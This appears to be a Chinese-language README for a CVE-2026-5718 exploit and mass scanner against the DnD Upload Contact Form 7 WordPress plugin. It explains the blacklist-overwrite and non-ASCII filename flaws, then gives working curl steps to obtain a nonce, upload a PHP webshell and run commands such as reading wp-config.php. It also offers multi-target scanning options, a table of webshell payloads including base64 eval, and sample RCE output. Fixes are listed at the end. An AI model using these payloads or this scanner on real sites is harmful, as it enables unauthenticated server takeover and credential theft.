
CVE-2026-5718: Unauthenticated File Upload To RCE in DnD Upload CF7 Plugin
CVE-2026-5718: DnD Upload CF7 插件中的未认证文件上传至远程代码执行漏洞
插件: Contact Form 7 的拖放式多文件上传插件 插件标识名:
drag-and-drop-multiple-file-upload-contact-form-7CVE ID: CVE-2026-5718 CVSS 评分: 8.1(高危) CVSS 向量:CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H漏洞类型: 未认证任意文件上传 → 远程代码执行 受影响版本: <= 1.3.9.6 已修复版本: 1.3.9.7 发布日期: 2026年4月17日 研究者: Leonid Semenenko (lsemenenko) — Wordfence
Drag and Drop Multiple File Upload for Contact Form 7 插件中存在 两个独立逻辑错误,组合后允许未认证攻击者上传 PHP webshell。
黑名单覆盖: 自定义黑名单配置会完全替换默认危险扩展名列表,而非合并。
php 不再被阻止。
非 ASCII 绕过: 文件名中包含非 ASCII 字符会阻止调用
wpcf7_antiscript_file_name() 函数。
.php 扩展名得以保留,文件被写入磁盘。
// inc/dnd-upload-cf7.php — lines 62–71
function dnd_wpcf7_nonce_check() {
// 唯一保护:检查 User-Agent 是否包含 'curl' — 容易绕过
if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'curl' ) !== false ) {
wp_send_json_error('请求被阻止:禁止 cURL 访问。');
}
if( ! check_ajax_referer( 'dnd-cf7-security-nonce', false, false ) ){
// 无效 nonce → 返回新 nonce
wp_send_json_success( wp_create_nonce( "dnd-cf7-security-nonce" ) );
}
}
wp_ajax_nopriv__wpcf7_check_nonce action 是公开的。
当发送无效 nonce 时,免费返回新 nonce。
使用 Mozilla UA 可绕过 curl 检测。
// inc/dnd-upload-cf7.php — lines 883–886
$blacklist_types = dnd_cf7_not_allowed_ext();
// ↑ ~80 个危险扩展名:php, php3, php4, pht, phtml, phar...
if ( isset( $blacklist["$cf7_upload_name"] ) && ! empty( $blacklist["$cf7_upload_name"] ) ) {
$blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
// ↑ 赋值(=)— 非合并
// 自定义列表:仅包含 ['zip']
// 'php' 不再在列表中 → 被接受
}
触发此漏洞的表单标签配置:
[mfile upload-file filetypes="*" blacklist-types:zip]
管理员想要阻止 ZIP → 插件却清除了整个默认拒绝列表。
包括 php 在内的所有危险扩展名现在都被接受。
另外,filetypes="*" 的硬编码列表也存在缺失:
// line 927 — 'php', 'php3', 'php4', 'pht', 'phtml' 缺失
$not_allowed_ext = array( 'phar', 'svg', 'php5', 'php7', 'php8' );
// inc/dnd-upload-cf7.php — lines 969–972
$ascii_name = dnd_cf7_remove_icons( $filename );
if ( dnd_cf7_check_ascii( $ascii_name ) ) {
// 仅对纯 ASCII 文件名调用
$filename = wpcf7_antiscript_file_name( $ascii_name );
// ↑ 会将 shell.php 改为 shell.php.txt — 但被跳过
}
// 如果存在非 ASCII 字符,此代码块被跳过
// $filename = "shellシ.php" → .php 扩展名保留
// dnd_cf7_check_ascii() — lines 1029–1041
function dnd_cf7_check_ascii( $string ) {
$string = sanitize_file_name( $string );
// ↑ 仅改变本地副本,外部 $filename 不受影响
if ( mb_check_encoding( $string, 'ASCII' ) ) {
return true;
}
return false; // 非 ASCII 字符 → false → antiscript 被跳过
}
┌─────────────────────────────────────────────────────────────┐
│ POST /wp-admin/admin-ajax.php?action=_wpcf7_check_nonce │
│ User-Agent: Mozilla/5.0 (不是 curl) │
│ │ │
│ ▼ │
│ {"success":true,"data":"abc123def456"} │
│ → 免费获取 Nonce │
└──────────────────────────┬──────────────────────────────────┘
│
┌──────────────────────────▼──────────────────────────────────┐
│ POST /wp-admin/admin-ajax.php?action=dnd_codedropz_upload │
│ security=abc123def456 │
│ upload-file=shellシ.php (Content-Type: application/x-php) │
│ │ │
│ ├── Nonce 有效 ✓ │
│ ├── 黑名单=['zip'] → 'php' 未被阻止 ✓ │
│ ├── dnd_cf7_check_ascii("shellシ.php") = false │
│ ├── wpcf7_antiscript_file_name() 被跳过 ✓ │
│ └── move_uploaded_file("shellシ.php") → 写入磁盘 │
└──────────────────────────┬──────────────────────────────────┘
│
┌──────────────────────────▼──────────────────────────────────┐
│ GET /wp-content/uploads/wp_dndcf7_uploads/ │
│ wpcf7-files/<uuid>/shell%E3%82%B7.php?cmd=id │
│ │ │
│ ▼ │
│ uid=33(www-data) gid=33(www-data) groups=33(www-data) │
│ → 未认证 RCE ✓ │
└─────────────────────────────────────────────────────────────┘
⚠️ 免责声明: 此 PoC 仅供教育和防御性安全研究使用。仅可用于您拥有或获得明确书面授权的系统。
前置条件:
[mfile] 字段并带有 blacklist-types:
[mfile upload-file filetypes="*" blacklist-types:zip]
TARGET="https://target.example.com"
NONCE=$(curl -s -X POST \
"$TARGET/wp-admin/admin-ajax.php" \
-H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
--data "action=_wpcf7_check_nonce" \
| python3 -c "import sys,json; print(json.load(sys.stdin)['data'])")
echo "Nonce: $NONCE"
预期响应:
{"success": true, "data": "abc123def456"}
# 'シ' (U+30B7 片假名) → dnd_cf7_check_ascii() = false
SHELL_FILENAME="shellシ.php"
echo '<?php system($_GET["cmd"]); ?>' > "/tmp/${SHELL_FILENAME}"
FORM_ID=1
FIELD_NAME="upload-file"
SESSION_FOLDER=$(uuidgen | tr '[:upper:]' '[:lower:]' | tr -d '-')
curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
-H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
-F "action=dnd_codedropz_upload" \
-F "security=${NONCE}" \
-F "form_id=${FORM_ID}" \
-F "upload_name=${FIELD_NAME}" \
-F "upload_folder=${SESSION_FOLDER}" \
-F "upload-file=@/tmp/${SHELL_FILENAME};type=application/x-php"
预期响应:
{
"success": true,
"data": {
"path": "<session-folder-uuid>",
"file": "shellシ.php"
}
}
UPLOAD_PATH="<path-from-response>"
SHELL_URL="$TARGET/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/${UPLOAD_PATH}/shell%E3%82%B7.php"
echo "Shell URL: $SHELL_URL"
# id 命令
curl -s "${SHELL_URL}?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# 读取 wp-config.php
curl -s "${SHELL_URL}?cmd=cat+/var/www/html/wp-config.php"
git clone https://github.com/kullanici/cve-2026-5718-scanner
cd cve-2026-5718-scanner
pip install -r requirements.txt
requirements.txt
requests
python dnd_cf7_upload.py -u http://target.com
python dnd_cf7_upload.py -u http://target.com \
--form-id 1 --field-name upload-file
python dnd_cf7_upload.py -u http://target.com \
--shell-type full --verify-cmd "whoami"
python dnd_cf7_upload.py -l targets.txt -t 20 -o sonuclar.txt
python dnd_cf7_upload.py -u http://target.com \
--proxy http://127.0.0.1:8080
扫描器按顺序尝试以下字符:
WordPress 根目录/
└── wp-content/
└── uploads/
└── wp_dndcf7_uploads/
└── wpcf7-files/
└── <session-uuid>/
└── shellシ.php ← Shell 在此处
⚠️ 注意: 插件默认会在 1 小时后清理文件。 Shell 在此时间段内可访问。
[*] 目标 : http://target.com
[*] 表单 ID : 自动检测
[*] Shell 类型 : system
[*] 验证命令 : id
[→] http://target.com 步骤 1/5: 获取 Nonce...
[→] http://target.com 步骤 2/5: 检测 CF7 表单...
[→] http://target.com 步骤 3/5: 上传 Shell(非 ASCII 绕过)...
[→] http://target.com 步骤 4/5: 构建 Shell URL...
[→] http://target.com 步骤 5/5: 验证 RCE...
═════════════════════════════════════════════════════════════════
[★ RCE OK ] http://target.com
版本 : 1.3.9.6
Nonce : abc123def4 (来源: ajax_endpoint)
非 ASCII : シ
Shell URL : http://target.com/wp-content/uploads/wp_dndcf7_uploads/
wpcf7-files/a1b2c3d4e5f6/shell%E3%82%B7.php
RCE 输出 : uid=33(www-data) gid=33(www-data) groups=33(www-data)
═════════════════════════════════════════════════════════════════
[+] 已保存 → rce_results.txt
安全的黑名单合并:
// 不安全(当前 — 1.3.9.6)
$blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
// 安全(推荐 — 1.3.9.7+)
$blacklist_types = array_merge(
dnd_cf7_not_allowed_ext(),
explode( '|', $blacklist["$cf7_upload_name"] )
);
无条件反脚本:
// 不安全(当前)
if ( dnd_cf7_check_ascii( $ascii_name ) ) {
$filename = wpcf7_antiscript_file_name( $ascii_name );
}
// 安全(推荐)
$filename = wpcf7_antiscript_file_name( $filename ); // 始终调用
上传目录 .htaccess:
<FilesMatch "\.php\d?$">
Deny from all
</FilesMatch>
Options -ExecCGI
AddType text/plain .php .php5 .phtml .phar
cve-2026-5718-scanner/
├── dnd_cf7_upload.py # 主扫描器
├── requirements.txt # 依赖
└── README.md # 本文件
本工具和 PoC 仅用于授权系统上的教育目的和渗透测试。 在未经授权的系统上使用,依据土耳其刑法第 243-245 条及国际网络安全法律构成犯罪。 开发者不对因滥用本工具所引起的任何法律责任负责。
MIT 许可证 — 仅限教育和研究目的。
| 字段 | 值 |
|---|
| 插件名称 | Contact Form 7 的拖放式多文件上传插件 |
| CVE ID | CVE-2026-5718 |
| CVSS 评分 | 8.1(高危) |
| 漏洞类型 | 未认证任意文件上传 |
| 受影响版本 | <= 1.3.9.6 |
| 已修复版本 | 1.3.9.7 |
| 前置条件 | CF7 表单中包含 blacklist-types 自定义配置 |
| 参数 | 短参数 | 说明 | 默认值 |
|---|
--url | -u | 单个目标 URL | — |
--list | -l | 目标列表文件 | — |
--threads | -t | 线程数 | 10 |
--output | -o | 输出文件 | rce_results.txt |
--form-id | — | CF7 表单 ID | 自动检测 |
--field-name | — | mfile 字段名 | upload-file |
--shell-name | — | Shell 文件名 | shell |
--shell-type | — | Shell 类型 | system |
--verify-cmd | — | RCE 验证命令 | id |
--proxy | — | 代理 URL | — |
--timeout | — | 请求超时(秒) | 10 |
--force | — | 即使插件检测失败也继续 | False |
| 类型 | Payload | 说明 |
|---|
system | <?php system($_GET["cmd"]); ?> | 基础系统命令 |
passthru | <?php passthru($_GET["cmd"]); ?> | 原始输出 |
exec | <?php echo exec($_GET["cmd"]); ?> | 静默执行 |
assert | <?php assert($_POST["cmd"]); ?> | POST 方式 eval |
b64 | <?php eval(base64_decode($_POST["cmd"])); ?> | Base64 混淆 |
full | shell_exec + system + exec fallback | 全功能 |
| 字符 | Unicode | 说明 |
|---|
シ | U+30B7 | 片假名 Si(PoC 中使用) |
ж | U+0436 | 西里尔 |
ñ | U+00F1 | 拉丁扩展 |
中 | U+4E2D | 中日韩 |
α | U+03B1 | 希腊 |
ß | U+00DF | 德语 |
| 状态 | 说明 |
|---|
★ RCE OK | Shell 已上传且命令已执行 |
★ SHELL ALIVE | Shell 可访问,响应不同 |
~ EXEC_DISABLED | Shell 存在,但 exec() 被禁用 |
~ HTACCESS | Shell 已上传,但被 .htaccess 阻止 |
? UPLOADED | 已上传,但找不到 URL |
- UPL_FAIL | 上传失败(已修补/无配置) |
~ NO_NONCE | 无法获取 Nonce |
- NO_PLUGIN | 插件未安装 |
~ UNREACH | 目标不可达 |
| 措施 | 实施方式 |
|---|
| 插件更新 | 升级到 1.3.9.7+ 版本 |
| 黑名单合并 | 使用 array_merge() 替代 = |
| 无条件反脚本 | 始终调用 wpcf7_antiscript_file_name() |
| Nonce 保护 | Nonce 端点应关闭公开访问 |
| .htaccess | 在上传目录阻止 PHP 执行 |